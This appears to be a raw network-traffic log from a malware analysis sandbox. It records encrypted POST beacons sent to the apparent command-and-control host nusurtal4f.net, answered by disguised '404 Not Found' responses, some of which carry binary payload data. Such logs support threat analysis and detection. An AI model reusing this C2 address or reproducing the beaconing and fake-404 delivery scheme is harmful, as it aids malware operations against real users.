Oct 29, 2021 17:56:15.254375935 CEST	12804	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b9 8a 14 62 cd d6 4f 96 93 f9 26 b6 Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bO&&C6I!q(5]~j@Ps>tOf54^mZU>
Oct 29, 2021 17:56:15.444717884 CEST	12805	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 40 26 0b 04 59 b9 1d 6d f5 e9 e6 a1 29 7a 3a 62 c3 cc a7 43 ec 44 d7 6b 50 78 18 e0 30 8a 3c a2 61 a3 d6 d4 22 a2 58 d5 5b 2d 22 ad 88 88 5e 6f d7 9f b7 ee bc db 32 b9 9a 4c ca 4c 08 03 d4 d2 a1 97 c6 37 13 4b 42 c4 d4 5a c6 ca 23 e8 16 41 bf 6c 13 d9 c8 9f 57 db 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b 88 b6 4b 24 7e 45 f7 ff 78 8d 55 db 24 0d 11 12 b4 1f eb 92 24 82 45 c5 03 49 bd a3 61 7e de f5 69 33 11 17 7e 4f af 9a a5 e4 c3 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 11 41 48 9a 07 fd ec 23 20 77 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 d5 20 c6 4f 6b 79 82 ae 9c a7 82 4e 95 1f ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df 75 6c e5 ee 30 4c 80 f0 00 f9 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 9a 70 f7 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 94 42 40 bb 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 39 07 bd 1b 6f d3 cb 29 32 a2 ed 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 4d 67 85 4d 5e ae 03 13 61 6a e6 a6 dd 1a 9f 10 af d9 b0 99 89 93 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 fa b0 92 48 a9 b4 bb e1 33 17 28 d2 9e c6 1d d0 eb aa 7a 8f 52 61 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 b9 82 7b 50 bf e5 7e 75 82 71 d4 03 6b 2c 9a 76 48 0e ca 82 21 2f 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 01 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 6b bd 21 77 33 c3 00 45 29 e8 2e 0d 3e 7a 6d f9 51 49 e5 fe 89 61 a2 01 5d b7 52 c5 7b 8e a7 d6 de d2 76 20 fb 23 c5 dd 6d 1d 23 02 ed 18 3b 99 7b 82 0b 6e f9 bf 1a 72 c4 3f fe ae f8 d5 23 fb f4 35 28 40 7e 53 65 02 c3 5e 0f 81 09 9e e9 56 86 3a be f3 df 83 85 41 2d 98 23 78 2b 09 62 ca f7 50 71 28 62 5d b1 Data Ascii: 1f42`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG@&Ym)z:bCDkPx0<a"X[-"^o2LL7KBZ#AlW3Ob>!Z:V?#BSSQV+K$~ExU$$EIa~i3~OzN.%Qa?\|(HkAH# w/MF$l#l)l~qhJ OkyNW;r#u1yul0L1<'i3FHU=hp?U@Wd{9f(B@=fd0QpKk1:TU9o)2[P&}WL\hMgM^ajtyPmCbzH3(zRa7 R:c{P~uqk,vH!/.5)CUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=k!w3E).>zmQIa]R{v #m#;{nr?#5(@~Se^V:A-#x+bPq(b]
Oct 29, 2021 17:56:16.540934086 CEST	13635	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: nusurtal4f.net
Oct 29, 2021 17:56:16.543133020 CEST	13636	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b9 8a 14 62 cc d6 4f 96 fe b4 38 b6 Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bO8kNqO\|sF>(v'4=;-3olM6?T:?;?+Nsj'~%,r<.(H1S EmQ[8qYN
Oct 29, 2021 17:56:16.743280888 CEST	13734	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 327 Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 29, 2021 17:56:16.810626984 CEST	13801	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: nusurtal4f.net
Oct 29, 2021 17:56:16.810664892 CEST	13801	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 be 8a 14 62 cd d6 4f 96 ff dd 33 ed Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bO37g!Y`?\Z&?\|`>zP<-9zuH=\|-qZQ%YC^tFF7(?@r\amGstzKPG{Y7U-
Oct 29, 2021 17:56:16.987715960 CEST	13940	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 b1 ba 89 c7 a8 25 9f ae 04 75 64 62 d8 e6 b8 a1 54 5e 1b 80 2b d8 55 a8 c7 ea 87 23 6d 16 be 61 f6 31 6d 17 41 3e da 16 a3 c9 32 6e a0 14 dc ac 2f 7b b0 2d 61 47 b0 7a 0d de 75 8f f9 9f 56 11 36 05 4a f4 e2 d7 c0 07 43 c8 48 09 d2 74 94 82 bf 6c 13 d9 39 03 d5 18 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 8e ff 0e 43 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8a 7b 7e 85 f6 ff 78 f3 56 db c4 0d 13 13 e3 0f e0 92 24 18 4f c5 03 71 ca a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 7a f0 96 be 21 51 61 9a d4 3e 7c 8a 28 c8 c9 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 a2 7a 31 6c 1a 7c 0a 8d 1b f9 e6 0e 10 eb 7e 71 eb 90 f0 1a 10 de 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 22 a6 0f 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 73 33 cd 46 99 48 15 ac af eb d9 55 3d af ba 68 92 de fe 9d 57 7c 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b a8 d4 de 8e 82 11 e8 e4 1f 9e a0 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 af 5b 85 1f d4 8c 69 91 9c 61 06 f1 2c 9a af 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 e4 56 89 8b e1 42 78 d7 9c 9e c3 e0 2b a5 b6 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c b1 65 f5 52 48 d4 3f 96 4d 8d e7 17 3f fe e7 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 54 a3 c7 f6 df ef 02 45 3d f4 61 f1 4e 14 72 e1 af 99 ef 7b 0d 84 ac 33 ff cd 05 4e 42 17 2e b3 a6 43 ff 45 bb b2 4c b8 5d 8c a0 47 e1 04 b4 4d 58 ec fe e7 44 ca 9b 37 c4 24 b1 46 b2 ca 6c 27 88 60 67 ac 03 c1 6f 02 76 d9 11 53 14 0c 68 a6 73 5e c1 f7 69 d1 64 5e ea f5 5c 68 d1 64 7d fa 99 83 7b a3 48 44 fe Data Ascii: 1f42`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG%udbT^+U#ma1mA>2n/{-aGzuV6JCHtl93Ob>!ZC:>CSSQ{~xV$Oqa~i~]DzN,z!Qa>\|(kJk?a]V4z1l\|~qJO;yLuVW;r#"1er+Lc1<'is3FHU=hW\|U@Wd{9f(B@w=fd3Dw)pKNTUo)2([>T~uW[ia,[}PmCVBx+z(Fzk#EceRH?M?~Mpvn%n5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=TE=aNr{3NB.CEL]GMXD7$Fl'`govShs^id^\hd}{HD
Oct 29, 2021 17:56:23.797215939 CEST	15588	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 220 Host: nusurtal4f.net
Oct 29, 2021 17:56:23.970473051 CEST	15631	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 327 Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 29, 2021 17:56:23.987876892 CEST	15631	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 353 Host: nusurtal4f.net
Oct 29, 2021 17:56:24.175405025 CEST	15822	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc df 85 6e bb f6 c7 35 f3 73 07 03 d2 ff f9 da fb eb b2 b9 71 cd f5 34 33 d1 62 73 45 7c 1f 57 44 f3 08 b9 3c 50 15 51 fe 08 22 b1 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 62 91 54 5b fd 55 19 d0 ed 45 78 b1 17 20 58 4a ed 68 6a 3e 17 21 6b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 5c 6d 52 db 93 0d 13 13 bf 1e e9 92 28 0e 4f c5 03 a1 cb a1 61 7e de f5 69 77 1e 17 c6 4c af 9a a5 64 c1 a0 cd b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 d3 fb 2d b9 72 ce cc 23 b2 b7 09 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f 3f cf cc 46 d9 48 1d ac af e3 d9 55 3d 6b bd 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 aa 6c b1 1d 32 12 51 8c bc 10 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e 46 9d 16 ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 74 5d 01 f1 10 35 ae 03 58 e5 1f e4 ae 7d 10 99 80 e0 d9 b0 c1 1c 9e 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 80 8a 49 37 03 80 e3 1c cd 20 f5 52 b7 3b 3a 96 f5 cb e7 17 3f dc e5 7e 0d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 98 3a 1d f8 4e b5 14 86 c1 70 a8 fe 04 c5 db ad 0e c9 9c 47 a2 91 29 98 f9 4c 79 de 79 d5 57 d0 6f fd ef 76 67 a8 db e9 d5 6a e2 3c 99 a8 84 be 57 a7 eb 6c 28 8e 94 16 a3 4e d4 e7 23 b2 52 dc 1a 9e 8b 18 07 64 01 7d 46 02 82 96 c6 ce 2d b2 9d df 3c 42 56 60 de 9e 93 0f 94 45 a9 24 4f 78 60 22 30 5f d6 a0 b8 78 fe b1 8e 98 37 20 5e 32 d0 c9 f3 32 42 82 39 16 12 47 0b f9 17 30 8d e3 51 22 b2 3d df 10 54 5a 17 1c 5c 5a 12 b3 19 5f 11 8f 69 f9 e4 b9 2a 01 6e f3 fd 58 b3 dc 95 25 1f 90 13 f7 5e 15 23 b5 01 92 e3 92 c2 01 7d 7e d3 95 bc 43 cf 76 62 93 55 e1 05 85 d4 9c 97 2e 60 10 3a 93 83 ac e5 fe 99 ae 32 c8 6e 95 8d 4a d5 f8 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 fb 37 67 d2 1f ad af a2 e2 54 24 d0 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 56 62 8c c1 69 c7 32 a7 90 4e b0 d4 08 d9 4e 27 38 4b 74 b0 4f b5 24 74 05 f6 6c 1d bf 9d 69 3d 57 f7 4f fc 32 78 7e 06 13 1b b9 fb 15 51 ed 00 fe 26 0d 72 d5 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ea 3b d4 e5 26 b5 6b 35 07 00 2d ed 7f ff ae 1c 0b 70 63 3d 01 2c 2b 77 33 c2 00 45 3d 79 24 0d 1e eb 67 f9 7d d8 ef fe 8d f0 a8 41 11 54 3d c3 68 7c ad d6 46 43 7c 20 4b d2 cf dd a9 8e 29 02 3d a9 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae a4 47 29 b9 d8 a7 22 40 42 c1 6f 02 89 cc 05 81 55 0c e3 56 f5 90 b4 f3 5b 11 8f 41 f5 0a 29 78 85 9b 6d ca 8b e0 7b 28 c4 db bb Data Ascii: 1f42`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGjn5sq43bsE\|WD<PQ"f}(jC\SMUbT[UEx XJhj>!k:V/#RSSR+{~E\mR(Oa~iwLdzN,%Qa>\|(HkJ{/a]F4L3l!\|~q JO;yg4V-r#1yr+LCCOUi?FHU=khU@Wd{9&D',=fl2QKk^To)2([TFW\mt]5X}tyPmCbz+z(FzkI7 R;:?~pvn%.5_)CCUb:NpG)LyyWovgj<Wl(N#Rd}F-<BV`E$Ox`"0_x7 ^22B9G0Q"=TZ\Z_i*nX%^#}~CvbU.`:2nJeig:X]y7gT$:jqw'eSUHc6ZkVbi2NN'8KtO$tli=WO2x~Q&re??f`;&k5-pc=,+w3E=y$g}AT=h\|FC\| K)=1n.rG)"@BoUV[A)xm{(
Oct 29, 2021 17:56:26.361046076 CEST	17620	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 327 Host: nusurtal4f.net
Oct 29, 2021 17:56:26.545212984 CEST	17705	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 327 Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not 